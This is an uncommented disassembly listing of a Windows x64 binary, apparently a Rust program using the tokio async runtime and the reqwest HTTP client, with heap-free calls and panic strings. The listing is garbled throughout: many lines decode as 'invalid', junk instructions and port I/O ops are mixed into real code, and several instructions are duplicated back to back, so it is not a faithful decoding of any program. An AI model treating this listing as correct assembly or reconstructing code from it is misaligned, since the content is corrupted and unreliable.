mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a980c
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0xff0
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
ror dword [rax - 0x7d], 0xf1
add esi, eax
cmpxchg qword [rsi], rcx
jne 0x1400a9840
test al, 1
je 0x1400a98e9
test al, 2
jne 0x1400a9901
test al, 8
jne 0x1400a987b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
call fcn.1400a8e20
jmp 0x1400a9899
test al, 0x10
je 0x1400a9899
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a9985
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea850
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x1400a9919
jne 0x1400a98df
mov rcx, rsi
add rsp, 0xff0
pop rsi
jmp 0x1400a9770
nop
add rsp, 0xff0
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
int3
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rbx
call fcn.140106250
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400a9cdc
mov qword [rax], rbx
mov qword [rax + 8], r14
mov dword [rax + 8], esi
mov dword [rax + 8], esi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
lea rdx, [0x140140570]
or dword [rax], eax
or dword [rax], eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.140107fe0
call fcn.140010b00
mov ecx, 1
add byte [rax], al
add byte [rax], al
mov rdx, rbx
call fcn.140107fc0
loop 0x1400a9d01
add ah, cl
loop 0x1400a9d01
add ah, cl
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x58
in al, dx
pop rax
in al, dx
pop rax
mov rsi, rdx
mov rbx, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rbx + 0x20]
call qword [rax + 0x20]
movabs rdi, 0x8000000000000000
mov edi, 0
add byte [rax], al
add byte [rax + 0x753b3948], al
invalid
mov edi, 0
add byte [rax], al
add byte [rax + 0x753b3948], al
add ch, bl
mov r14, qword [rbx + 8]
jmp 0x1400a9d6c
mov r14, qword [rbx + 8]
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x1400a9d59
js 0x1400a9dce
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
test dword [0x188d3ce48], ecx
mov edx, edi
call fcn.1400dfbe0
test rax, rax
je 0x1400a9dd3
mov rbx, rax
jmp 0x1400a9d5e
mov ebx, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140106250
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
mov rdx, rsi
call fcn.1400a9df0
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000002
mov ecx, 2
add byte [rax], al
add byte [rax + 0x7cc83948], al
invalid
mov ecx, 2
add byte [rax], al
add byte [rax + 0x7cc83948], al
add eax, 0x75c08548
test eax, eax
jne 0x1400a9db0
invalid
invalid
invalid
test rax, rax
test eax, eax
jne 0x1400a9db0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140010b00
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, r8
mov rsi, rcx
mov rbx, qword [rdx]
test rbx, rbx
jne 0x1400a9e43
mov r14, rdx
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400a9f36
mov rbx, rax
movups xmm0, xmmword [0x14014bb70]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14014bb60]
movups xmmword [rax], xmm0
mov qword [r14], rax
invalid
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400a9f27
mov rcx, qword [rdi + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
lea rcx, [0x14013ee48]
mov qword [rsp + 0x20], rcx
movabs r15, 0x5338de174c2e5213
push rbx
adc edx, dword [rdx + 0x2e]
invalid
push rbx
movabs r14, 0x1484aeea6f4e822f
mov rcx, rbx
mov rdx, r15
mov r8, r14
invalid
mov r9, rax
call fcn.14004e850
mov dl, 0x49
cli
dec dword [rax - 0x7b]
invalid
je 0x1400a9f0e
mov dl, 0x49
cli
dec dword [rax - 0x7b]
sal byte [rbx + rbp*2 + 0x48], 0x89
invalid
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov ecx, eax
mov ecx, eax
call qword [rdx + 0x18]
cmp rax, r15
jne 0x1400a9ee5
cmp rdx, r14
jne 0x1400a9ee5
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
adc byte [rdi], r9b
adc byte [rdi], al
adc byte [rdi], r9b
adc byte [rdi], al
movups xmmword [rsi], xmm0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a9f0e
cmp qword [rbx + 0x10], 0x11
jb 0x1400a9efc
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
push rdx
test byte [rsi], al
invalid
push rdx
test byte [rsi], al
add byte [rax - 0x48], cl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48068948], al
add esp, 0x30
movabs rax, 0x8000000000000001
mov qword [rsi], rax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
loopne 0x1400a9f3a
invalid
loopne 0x1400a9f3a
add byte [rcx + 8], bh
mov ecx, 8
add byte [rdx + 0x20], bh
mov edx, 0x20
call fcn.140107fe0
int3
int3
stc
invalid
jmp qword [sym.imp.kernel32.dll_HeapFree]
pop rcx
or byte [rax - 0x75], cl
jno 0x1400a9fc0
test rsi, rsi
je 0x1400a9fd2
js 0x1400aa026
movzx eax, byte [0x140182310]
xor ecx, ecx
push rdx
or dword [0x188d3d0c2], 0xffffff89
bnd call fcn.1400dfbe0
mov rdx, rsi
call fcn.1400dfbe0
test rax, rax
je 0x1400aa02b
mov rdi, rax
jmp 0x1400a9fd7
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140106250
add eax, 0x5b60f00
and al, 0x83
or eax, 0x18ba00
add byte [rax], al
add eax, 0x5b60f00
and al, 0x83
or eax, 0x18ba00
add byte [rax], al
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400aa017
mov qword [rax], rsi
mov dword [rax], esi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
lea rdx, [0x14013c510]
adc eax, 0x92501
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
invalid
invalid
invalid
invalid
add byte [rax], al
add al, ch
mov edx, 0xe80005df
invalid
call fcn.140010b00
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
add ah, cl
add ah, cl
int3
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x31
jne 0x1400aa05a
invalid
add ch, bl
mov rbx, qword [rcx + 8]
jmp 0x1400aa0a8
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x1400aa08f
js case.0x14009662c.85
mov r14, rdx
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
mov edx, esi
call fcn.1400dfbe0
test rax, rax
je 0x1400aa10c
add byte [rax], al
add byte [rax - 0x77], cl
mov rdi, rax
mov rdi, rax
jmp 0x1400aa097
mov r14, rdx
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140106250
mov rdx, r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
call fcn.1400a9df0
std
invalid
dec dword [rax - 0x75]
and al, 0x40
movabs rcx, 0x8000000000000002
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
jl 0x1400aa0df
test rax, rax
jne 0x1400aa0e9
invalid
or cl, byte [rax - 0x7d]
invalid
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140010b00
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
invalid
add ah, cl
add eax, 0xcccccc00
int3
invalid
add byte [rax - 0x77], cl
invalid
mov ss, word [rax + 0x4800004c]
cmp dword [rsi + 0x4c88], 0
je 0x1400aa191
invalid
adc byte [rax - 0x75], cl
adc eax, esi
dec qword [rdx]
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400aa1a2
call fcn.1400687d0
jmp 0x1400aa19f
mov rdx, qword [rcx]
lock dec qword [rdx]
dec dword [rdx]
dec dword [rdx]
jne 0x1400aa1a2
call fcn.1400396d0
mov rax, rsi
mov rdx, qword [rax + 0x4cd0]
test rdx, rdx
je 0x1400aa1be
mov rcx, qword [rax + 0x4cd8]
add byte [rax], al
add rsp, 0x20
pop rsi
jmp qword [rdx + 0x18]
nop
add rsp, 0x20
pop rsi
ret
int3
int3
int3
push rbx
mov eax, 0x4d98
add al, ch
invalid
jl 0x1400aa1ea
invalid
add al, ch
mov edx, 0x4800057c
sub esp, eax
sub rsp, rax
movdqa xmmword [rsp + 0x4d80], xmm6
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x2648]
invalid
lea rcx, [0x140177e7c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
lea rcx, [rsp + 0x2748]
mov r8d, 0x2638
mov eax, 0x2638
invalid
mov eax, 0x2638
mov rdx, rdi
call fcn.140106250
mov ebp, dword [rdi + 0x2640]
add byte es:[rax], al
add byte es:[rax], al
cmp ebp, 0x3b9aca00
jne 0x1400aa2a3
lea rcx, [rdi + 0x2650]
add byte [rax], al
mov r8d, 0x2638
add byte es:[rax], al
mov rdx, rdi
call fcn.140106250
lea r14, [rdi + 0x2650]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aa710
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x1400aa279
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1400aa68b
add al, 0
invalid
add al, 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
je 0x1400aa2a2
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
xor byte [rdi], cl
mov dh, 0x5c
and al, 0x40
mov eax, dword [rsp + 0x42]
and al, 0x42
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x24], ax
mov word [rsp + 0x24], ax
mov rcx, r14
call fcn.1400ad150
add byte cs:[rax], al
add byte cs:[rax], al
jmp 0x1400aa66e
add byte [rbx + rcx*4 - 0x49], cl
mov r14, qword [rdi + 0x2638]
cmp byte [rsi], ah
add byte [rax], al
call fcn.1400dfa40
add rax, r14
jae 0x1400aa315
call fcn.1400dfa40
add rax, 0x38640900
jb 0x1400aa6bc
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400aa30c
inc rax
je 0x1400aa6bc
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400aa30c
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
rol ecx, 0xe9
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
shr rcx, 0x27
add rax, rcx
jb 0x1400aa6d4
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400aa337
mov r8d, edx
add r8d, ebp
cmp r8d, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rdx + 0xc]
add dl, cl
invalid
inc rax
je 0x1400aa2b4
add r8d, 0xc4653600
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rax - 0x77], cl
ret 0x8ce8
mov rdx, rax
call 0x1400f41d0
lea r14, [rsp + 0xa0]
lea rdx, [rsp + 0x2748]
mov r8d, 0x2638
mov rcx, r14
call fcn.140106250
out dx, al
mov esi, 0x100f0005
and al, 0x30
out dx, al
mov esi, 0x100f0005
and al, 0x30
movups xmm1, xmmword [rsp + 0x40]
and al, 0x40
movups xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x26d8], xmm0
add byte es:[rax], al
invalid
add byte es:[rax], al
movups xmmword [rsp + 0x26e8], xmm1
adc dword [rsp + 0x26e8], ecx
movups xmmword [rsp + 0x26f8], xmm2
and al, 0xf8
add byte es:[rax], al
movups xmmword [rsp + 0x2708], xmm3
adc dword [rsp + 0x2708], ebx
or byte [rdi], ah
add byte [rax], al
invalid
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x2718], xmm0
test byte [rax + rbx], ah
invalid
add byte [rax], al
movups xmm0, xmmword [rsp + 0x80]
and al, 0x80
add byte [rax], al
invalid
test byte [rax + rbx], ah
invalid
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x2728], eax
invalid
movups xmmword [rsp + 0x2728], xmm0
add bl, dh
movq mm0, qword [rsp + 0x90]
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movdqu xmmword [rsp + 0x2738], xmm0
lea rcx, [rdi + 0x2650]
lea ecx, [rdi + 0x2650]
lea ecx, [rdi + 0x2650]
add byte [rax], al
mov r8d, 0x26a8
test al, 0x26
add byte [rax], al
mov rdx, r14
call fcn.140106250
lea r14, [rdi + 0x2650]
push rax
add byte es:[rax], al
push rax
add byte es:[rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
invalid
je 0x1400aa432
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x5b], 0x8b
test eax, eax
jne 0x1400aa45f
mov eax, dword [0x140182314]
add eax, 0xd7f0a
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
cmp al, 0xc1
cmp al, 0xc1
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
add byte [rcx - 0x3a], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
add byte [rcx - 0x3a], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
cmp byte [rax + 0x11c], 0
mov eax, 0x11c
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add dword [rax], eax
add byte [rax], al
sete r12b
add dword [rax], eax
add byte [rax], al
setne cl
cmp byte [rax + 0x11d], 0
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
sete r12b
and r12b, cl
jmp 0x1400aa462
xor r12d, r12d
lea r15, [rdi + 0x4c88]
mov byte [rax + rax], cl
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aa710
movzx ebp, byte [rsp + 0x41]
cmp r13d, 3
cmp r13d, 3
jne 0x1400aa51e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400aa4d8
clc
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x64], 0x8b
add eax, 0xd7e64
jle case.0x140092509.126
invalid
test eax, eax
jne 0x1400aa50e
mov eax, dword [0x140182314]
jle case.0x140092509.126
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x2c], cl
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
ror dword [rcx - 0x73], 0x8d
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r13 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ebp, byte [rax + 0x11c]
add byte [rbp - 0x7c], al
in eax, dx
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
xchg esp, eax
rol dword [rax + 0x11db8], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
or r12b, al
cmp r12b, 1
jne 0x1400aa540
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f4440
invalid
lahf
add al, 0
invalid
add al, 0
jmp 0x1400aa5ce
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
and al, 0x42
mov dword [rsp + 0x28], eax
and al, 0x28
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
jmp 0x1400aa5dd
mov eax, dword [0x140182314]
add eax, 0xd7dce
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
and eax, 0x58
add byte [rax], al
add byte [rbx + rcx*4 + 0x24], cl
rol dword [rcx - 0x3a], 0x84
test byte [rsp + rbx], ah
add byte [rax], al
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0x11c], 0
test byte [rsp + rbx], ah
add dword [rax], eax
add byte [rax], al
test byte [rsp + rbx], ah
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f4440
add al, 0
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
invalid
add dword [rax + rdi - 0x7b], esi
leave
je 0x1400aa5ad
test ecx, ecx
jne 0x1400aa5ce
mov ecx, dword [0x140182314]
or eax, 0xd7d95
jge 0x1400aa58b
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
mov rdx, qword gs:[0x58]
add byte [rax], al
mov r12, qword [rdx + rcx*8]
lea rcx, [r12 + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
retf 0x8d49
call fcn.1400d4a00
mov eax, ebx
mov byte [r12 + 0x120], 1
test byte [rax + riz], ah
add dword [rax], eax
add byte [rcx], al
and al, 0x20
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400aa5dd
mov byte [rsi + 0x11], 3
mov al, 3
add ebp, ecx
scasb al, byte [rdi]
add byte [rax], al
invalid
add ebp, ecx
scasb al, byte [rdi]
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.1400ad150
mov rcx, r15
imul ebp, dword [rbx], 0
add byte [rcx + rcx*4 - 7], cl
call fcn.1400ec9d0
lea rcx, [rdi + 0x4c90]
cmp qword [rdi + 0x4c88], 0
cmp dword [rdi + 0x4c88], 0
cmp dword [rdi + 0x4c88], 0
je 0x1400aa60e
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400aa61c
sti
invalid
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400aa61c
add al, byte [rbx + 0x347402fd]
cmp ebp, 3
jne 0x1400aa659
lea rax, [0x14013cce0]
movq xmm0, rax
movdqa xmm6, xmmword [0x1401128b0]
punpcklqdq xmm6, xmm0
jmp 0x1400aa66e
movzx eax, word [rsp + 0x2c]
mov bh, 0x44
and al, 0x2c
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov dword [rsp + 0x20], eax
mov r15d, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x2648], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x4d80]
mov ah, 0x24
or byte [rbp], 0
mov ah, 0x24
or byte [rbp], 0
add rsp, 0x4d98
add byte [r8], r8b
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108880
loope 0x1400aa6c0
invalid
loope 0x1400aa6c0
add byte [rax - 0x73], cl
or eax, 0x9f2cd
invalid
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, [0x1401499d0]
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ch
invalid
call fcn.1401086b0
lea rax, str.overflow_in_Duration::new
or dword [rax], eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
mov dword [rsp + 0x40], 8
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov dword [rsp + 0x40], 8
and al, 0x40
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea edx, [0x1401487a8]
lea edx, [0x1401487a8]
loopne 0x1400aa709
add byte [rax - 0x73], cl
and al, 0x30
invalid
lea rcx, [rsp + 0x30]
xor al, ch
jne 0x1400aa6e4
call fcn.140108280
ud2
add eax, 0xcc0b0f00
add byte [rdi], cl
or ecx, esp
int3
invalid
call fcn.140101ea0
sub rsp, rax
movdqa xmmword [rsp + 0x1f70], xmm6
movq qword [rsp + 0x1f70], mm6
movq qword [rsp + 0x1f70], mm6
jo 0x1400aa74f
add byte [rax], al
mov rbx, r8
mov rsi, rdx
mov r13, rcx
int 0xf
mov dh, 0x82
rol byte [rdx], cl
add byte [rax], al
invalid
int 0xf
mov dh, 0x82
rol byte [rdx], cl
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xcd747
xlatb
or al, 0
lea rcx, [0x140177e90]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x66
mov dword [rsi + 0x2d3], 0x86c60000
add byte [rax], al
invalid
xchg ch, dl
mov word [rsi + 0x2d3], 0
add byte [rax], al
mov byte [rsi + 0x2d5], 1
add al, byte [rax]
add byte [rcx], al
invalid
lea rdi, [rsi + 0x128]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
adc byte [rsi + 0x10], cl
movups xmm2, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rsi + 0x128], xmm0
adc dword [rsi + 0x128], eax
adc dword [rsi + 0x128], eax
movups xmmword [rsi + 0x138], xmm1
movups xmmword [rsi + 0x148], xmm2
add qword [rax], rax
add byte [rdi], cl
adc dword [rsi + 0x158], ebx
invalid
adc dword [rsi + 0x158], ebx
movups xmm0, xmmword [rsi + 0x40]
adc byte [rsi + 0x40], al
movups xmmword [rsi + 0x168], xmm0
adc dword [rsi + 0x168], eax
xchg byte [rax + 1], ch
add byte [rax], al
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [rsi + 0x178], xmm0
js 0x1400aa7a9
add byte [rax], al
js 0x1400aa7a9
add byte [rax], al
add byte [rdi], cl
adc byte [rsi + 0x60], al
invalid
movups xmm0, xmmword [rsi + 0x60]
movups xmmword [rsi + 0x188], xmm0
movups xmm0, xmmword [rsi + 0x70]
movups xmmword [rsi + 0x198], xmm0
adc dword [rsi + 0x198], eax
mov rax, qword [rsi + 0x120]
mov qword [rsi + 0x1f8], rax
clc
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
adc byte [rcx], al
add byte [rax], al
clc
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
movups xmmword [rsi + 0x1e8], xmm0
movups xmm0, xmmword [rsi + 0x100]
movups xmmword [rsi + 0x1d8], xmm0
xchg al, bl
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0xf0], al
movups xmmword [rsi + 0x1c8], xmm0
movups xmm0, xmmword [rsi + 0xe0]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0xe0], al
movups xmmword [rsi + 0x1b8], xmm0
movups xmm0, xmmword [rsi + 0xd0]
rol byte [rax], 1
add byte [rax], al
xchg byte [rax + 0xf000001], bh
adc byte [rsi + 0xd0], al
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
movups xmmword [rsi + 0x1a8], xmm0
movups xmm0, xmmword [rsi + 0x80]
movups xmm1, xmmword [rsi + 0x90]
movups xmm2, xmmword [rsi + 0xa0]
movups xmm3, xmmword [rsi + 0xb0]
movups xmmword [rsi + 0x200], xmm0
movups xmmword [rsi + 0x210], xmm1
mov ss, word [rax]
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x220], edx
mov ss, word [rax]
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x220], edx
movups xmmword [rsi + 0x230], xmm3
adc dword [rsi + 0x230], ebx
movups xmm0, xmmword [rsi + 0xc0]
add byte [rax], al
movups xmmword [rsi + 0x240], xmm0
xchg byte [rax + 2], al
add byte [rax], al
lea rcx, [rsi + 0x208]
lea rax, [rsi + 0x228]
cmp qword [rsi + 0x200], 0
lea r14, [rsp + 0x11c0]
je 0x1400aaaab
movups xmm0, xmmword [rcx]
